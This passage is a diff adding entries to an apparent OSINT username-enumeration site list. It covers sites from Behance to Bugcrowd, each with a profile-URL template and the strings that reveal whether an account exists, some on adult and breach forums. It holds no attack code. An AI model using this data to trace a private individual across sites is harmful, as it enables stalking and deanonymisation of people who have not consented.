"error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "Behance", + "url": "https://www.behance.net/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Behance", + "url": "https://behance.net/{}", + "category": "art", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Oops! We can\u2019t find that page", + "match_string": "\"name\":\"" + }, + { + "name": "Belmos", + "url": "https://www.belmos.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Bentbox", + "url": "https://bentbox.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user is currently not available", + "match_string": "id=\"followingUser\"" + }, + { + "name": "Bento", + "url": "https://bento.me/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": ">Available!</div>", + "match_code": 200, + "match_string": "href=\"https://bento.me/explore\"" + }, + { + "name": "berea.ucoz.ru", + "url": "http://berea.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bestclips.ws", + "url": "http://bestclips.ws/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bestfantasybooks", + "url": "http://bestfantasybooks.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Bestweapon", + "url": "https://bestweapon.ru/author.php?author={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "</script><br><table class='border-blog'><tr><td><div class='avatar'" + }, + { + "name": "Bestweapon", + "url": "https://bestweapon.net/author.php?author={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "/script><br><table class='border-blog'><tr><td><div" + }, + { + "name": "Beta", + "url": "https://beta.cent.co/{}/", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Betalist", + "url": "https://betalist.com/@{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "betawiki.net", + "url": "https://betawiki.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bethepro", + "url": "https://bethepro.com/members/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "beyond3d", + "url": "https://forum.beyond3d.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bezuzyteczna", + "url": "https://bezuzyteczna.pl/uzytkownicy/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bgforum", + "url": "https://bgforum.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430 / \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0442\u0430\u043a\u0438\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Bibsonomy", + "url": "https://www.bibsonomy.org/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "big-game.ucoz.ru", + "url": "http://big-game.ucoz.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bigfooty", + "url": "https://www.bigfooty.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "bigfooty.com", + "url": "https://www.bigfooty.com/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Biggerpockets", + "url": "https://www.biggerpockets.com/users/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "| BiggerPockets" + }, + { + "name": "Biggerpockets", + "url": "https://biggerpockets.com/users/{}", + "category": "forum", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "header-info" + }, + { + "name": "Bigmmc", + "url": "http://bigmmc.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BIGO Live", + "url": "https://www.bigo.tv/user/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "userInfo:{}", + "match_code": 200, + "match_string": "userInfo:{nickName" + }, + { + "name": "Bigsoccer", + "url": "https://www.bigsoccer.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bigsoccer", + "url": "https://www.bigsoccer.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bikemap", + "url": "https://www.bikemap.net/en/u/{}/routes/created/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bikepost", + "url": "https://bikepost.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BikeRadar", + "url": "https://forum.bikeradar.com/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Biketrials", + "url": "http://www.biketrials.ru/live/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Billkiene", + "url": "https://www.billkiene.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Billkiene", + "url": "https://www.billkiene.com/forums/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Bimpos", + "url": "https://ask.bimpos.com/user/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page not found", + "match_code": 200, + "match_string": "User " + }, + { + "name": "BinarySearch", + "url": "https://binarysearch.com/@/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "{}" + }, + { + "name": "Binarysearch", + "url": "https://binarysearch.io/@/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Profile not found" + }, + { + "name": "binhot.3dn.ru", + "url": "http://binhot.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bio Sites", + "url": "https://bio.site/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "This site no longer exists", + "match_code": 200, + "match_string": "section\":{\"handles" + }, + { + "name": "biohack", + "url": "https://forum.biohack.me/index.php?p=/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "biolink", + "url": "https://bio.link/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you\u2019re looking for doesn\u2019t exist", + "match_code": 200, + "match_string": "profile:username" + }, + { + "name": "Biosector01", + "url": "https://biosector01.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "birza-truda", + "url": "http://birza-truda.ru/akter/nachinayushchiy-akter/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0435\u0439!" + }, + { + "name": "Bit", + "url": "https://bit.dev/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "FOLLOWERS" + }, + { + "name": "Bit.ly", + "url": "https://bit.ly/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BitBucket", + "url": "https://bitbucket.org/{}/", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitbucket", + "url": "https://bitbucket.org/!api/2.0/repositories/{}?page=1&pagelen=25&sort=-updated_on&q=&fields=-values.owner%2C-values.workspace", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "No workspace with identifier", + "match_code": 200, + "match_string": "full_name" + }, + { + "name": "BitBucket", + "url": "https://bitbucket.org/{}/workspace/repositories/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitbucket", + "url": "https://bitbucket.org/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "That link has no power here", + "match_string": "\"uuid\"" + }, + { + "name": "Bitchute", + "url": "https://www.bitchute.com/channel/{}", + "category": "video", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bitchute", + "url": "https://www.bitchute.com/channel/{}/", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "404 - Page not found", + "match_code": 200, + "match_string": "subscribers" + }, + { + "name": "bitcoin.it", + "url": "https://bitcoin.it/wiki/User:{}", + "category": "finance", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BitCoinForum", + "url": "https://bitcoinforum.com/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user whose profile you are trying to view does not exist." + }, + { + "name": "Bitpapa", + "url": "https://bitpapa.com/user/{}", + "category": "shopping", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "><title>" + }, + { + "name": "bitpapa.com", + "url": "https://bitpapa.com/ru/user/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/static/page-crash.svg", + "match_string": "lbcUsername" + }, + { + "name": "bittube", + "url": "https://bittube.video/c/{}/videos", + "category": "video", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "

    We are sorry but it seems", + "match_code": 200, + "match_string": "- BitTube" + }, + { + "name": "Bitwarden", + "url": "https://community.bitwarden.com/u/{}/summary", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops!", + "match_string": " Profile" + }, + { + "name": "BlackHatProTools", + "url": "https://www.blackhatprotools.info/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blast", + "url": "https://www.blast.hk/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blast", + "url": "https://www.blast.hk/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Blazemonger", + "url": "https://blazemonger.com/GG/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "BleachFandom", + "url": "https://bleach.fandom.com/ru/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blender", + "url": "https://blender.community/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blender3d", + "url": "https://blender3d.com.ua/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blenderartists", + "url": "https://blenderartists.org/u/{}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BLIP.fm", + "url": "https://blip.fm/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bliphoto", + "url": "https://www.blipfoto.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Your photo journal | Blipfoto", + "match_string": "biography" + }, + { + "name": "Blitz Tactics", + "url": "https://blitztactics.com/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "That page doesn't exist" + }, + { + "name": "Blizzard_WOW", + "url": "https://us.forums.blizzard.com/en/wow/u/{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "World of Warcraft Forums" + }, + { + "name": "Blogger", + "url": "https://{}.blogspot.com", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Blogger (by GAIA id)", + "url": "https://www.blogger.com/profile/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "/edit-profile.g", + "match_string": ">" + }, + { + "name": "Blue-systems", + "url": "https://support.blue-systems.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bluesky", + "url": "https://bsky.app/profile/{}.bsky.social", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops!", + "match_string": ".bsky.social on Bluesky" + }, + { + "name": "Bluesky 1", + "url": "https://bsky.app/profile/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "

    ", + "match_code": 200, + "match_string": "on Bluesky" + }, + { + "name": "Bluesky 2", + "url": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={}.bsky.social", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "\"message\":\"Profile not found\"", + "match_code": 200, + "match_string": "\"handle\":\"" + }, + { + "name": "bluesystem", + "url": "http://forum.bluesystem.online/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "images/avatars/default_avatars/22.gif" + }, + { + "name": "Bluevies", + "url": "https://bluevies.miraheze.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "BMW_club", + "url": "http://m-power.ru/forum/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Board_asm32", + "url": "https://board.asm32.info/!userinfo/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Board_scryde", + "url": "https://board.scryde.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "BoardGameGeek", + "url": "https://boardgamegeek.com/user/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\t\tUser not found", + "match_string": "username" + }, + { + "name": "BoardGameGeek", + "url": "https://api.geekdo.com/api/accounts/validate/username?username={}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"isValid\":true", + "match_code": 200, + "match_string": "\"message\":\"Sorry, this username is already taken.\"" + }, + { + "name": "Boardgamegeek", + "url": "https://www.boardgamegeek.com/user/{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "[]" + }, + { + "name": "boards.theforce.net", + "url": "https://boards.theforce.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Boards_theforce", + "url": "https://boards.theforce.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bobrdobr", + "url": "https://bobrdobr.ru/people/{}/", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430.", + "match_string": "\u0417\u0430\u043a\u043b\u0430\u0434\u043a\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f" + }, + { + "name": "Bobvoyeur", + "url": "https://www.bobvoyeur.com/profil/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "content=\"profile\"/>", + "match_string": "Informa\u00e7\u00e3o e p\u00e1gina" + }, + { + "name": "BongaCams", + "url": "https://pt.bongacams.com/profile/{}", + "category": "adult", + "source": "sherlock", + "nsfw": true, + "error_type": "status_code" + }, + { + "name": "Bongacams", + "url": "https://bongacams.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "last_login" + }, + { + "name": "Boobpedia", + "url": "https://www.boobpedia.com/wiki/index.php?title=Special:Search&profile=all&search={}&fulltext=1", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "There were no results matching the query.", + "match_string": "Page title matches" + }, + { + "name": "Book-torrent-site", + "url": "https://book-torrent.site/user/{}/", + "category": "torrent", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bookafly.com", + "url": "https://bookafly.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookandreader", + "url": "https://www.bookandreader.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookandreader", + "url": "https://www.bookandreader.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Bookcrossing", + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bookcrossing", + "url": "https://www.bookcrossing.com/mybookshelf/{}", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, we were unable to locate the content that you requested.", + "match_code": 200, + "match_string": "Recent Book Activity" + }, + { + "name": "Bookcrossing", + "url": "https://bookcrossing.com/mybookshelf/{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, we were unable", + "match_string": "-profile" + }, + { + "name": "Bookmate", + "url": "https://ru.bookmate.com/authors/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry! We couldn\u2019t find what you were looking for" + }, + { + "name": "Bookmix", + "url": "https://bookmix.ru/users/index.phtml?ginv=&keyword={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430" + }, + { + "name": "Booknode", + "url": "https://booknode.com/profil/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>Page non trouv\u00e9e", + "match_code": 200, + "match_string": "<title>Profil de" + }, + { + "name": "bookz.su", + "url": "http://bookz.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BoomInfo", + "url": "https://boominfo.ru/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + }, + { + "name": "Boominfo", + "url": "https://boominfo.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "boominfo.org", + "url": "https://boominfo.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Boosty", + "url": "https://boosty.to/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>", + "match_string": "Boosty " + }, + { + "name": "Boosty", + "url": "https://api.boosty.to/v1/blog/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"blog_not_found\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "BOOTH", + "url": "https://{}.booth.pm/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Borisoglebsk", + "url": "http://www.borisoglebsk.net/modules.php?name=Forums&file=profile&mode=viewprofile&u={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "Borsch.gallery", + "url": "https://borsch.gallery/hudozhniki/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bot-cs.at.ua", + "url": "http://bot-cs.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Botanichka", + "url": "https://www.botanichka.ru/members/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bowhuntery", + "url": "https://bowhuntery.ru/userlist.php?username={}&show_group=-1", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "Boxing", + "url": "http://boxing.ru/forum/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "brainscale.net", + "url": "https://brainscale.net/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bratsk Forum", + "url": "http://forum.bratsk.org/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "BraveCommunity", + "url": "https://community.brave.com/u/{}/", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Breach Forums", + "url": "https://breached.vc/User-{}", + "category": "tech", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The member you specified is either invalid or doesn't exist.", + "match_code": 200, + "match_string": "Time Spent Online" + }, + { + "name": "BreachSta.rs Forum", + "url": "https://breachsta.rs/profile/{}", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "Error - BreachStars" + }, + { + "name": "breakers.tv", + "url": "https://breakers.tv/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Channel you are looking for doesn't exist", + "match_string": " followers" + }, + { + "name": "Brickset", + "url": "https://brickset.com/profile/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "{name}", + "match_code": 200, + "match_string": "Member since:" + }, + { + "name": "Brickset", + "url": "https://forum.brickset.com/profile/{}", + "category": "forum", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "User Not Found", + "match_code": 200, + "match_string": "Activity" + }, + { + "name": "Bridgemoscow", + "url": "https://bridgemoscow.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Bridgewinners", + "url": "https://bridgewinners.com/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error!" + }, + { + "name": "Britishcat", + "url": "http://www.britishcat.ru/forumnew/member.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Browncafe", + "url": "https://www.browncafe.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "browncafe.com", + "url": "http://www.browncafe.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Brusheezy", + "url": "https://www.brusheezy.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "masthead", + "match_string": "username" + }, + { + "name": "Brute", + "url": "https://brute.su/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "brute.pw", + "url": "https://brute.pw/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "budo52.ru", + "url": "http://budo52.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Budo_community", + "url": "https://budo.community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=posts&search_app_filters[forums][sortDir]=0", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0438\u0441\u043a \u043d\u0435 \u0434\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432." + }, + { + "name": "Bugaga", + "url": "https://bugaga.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bugbank", + "url": "https://www.bugbank.cn/api/user/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "bugbounty", + "url": "https://bugbounty.gg/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bugcrowd", + "url": 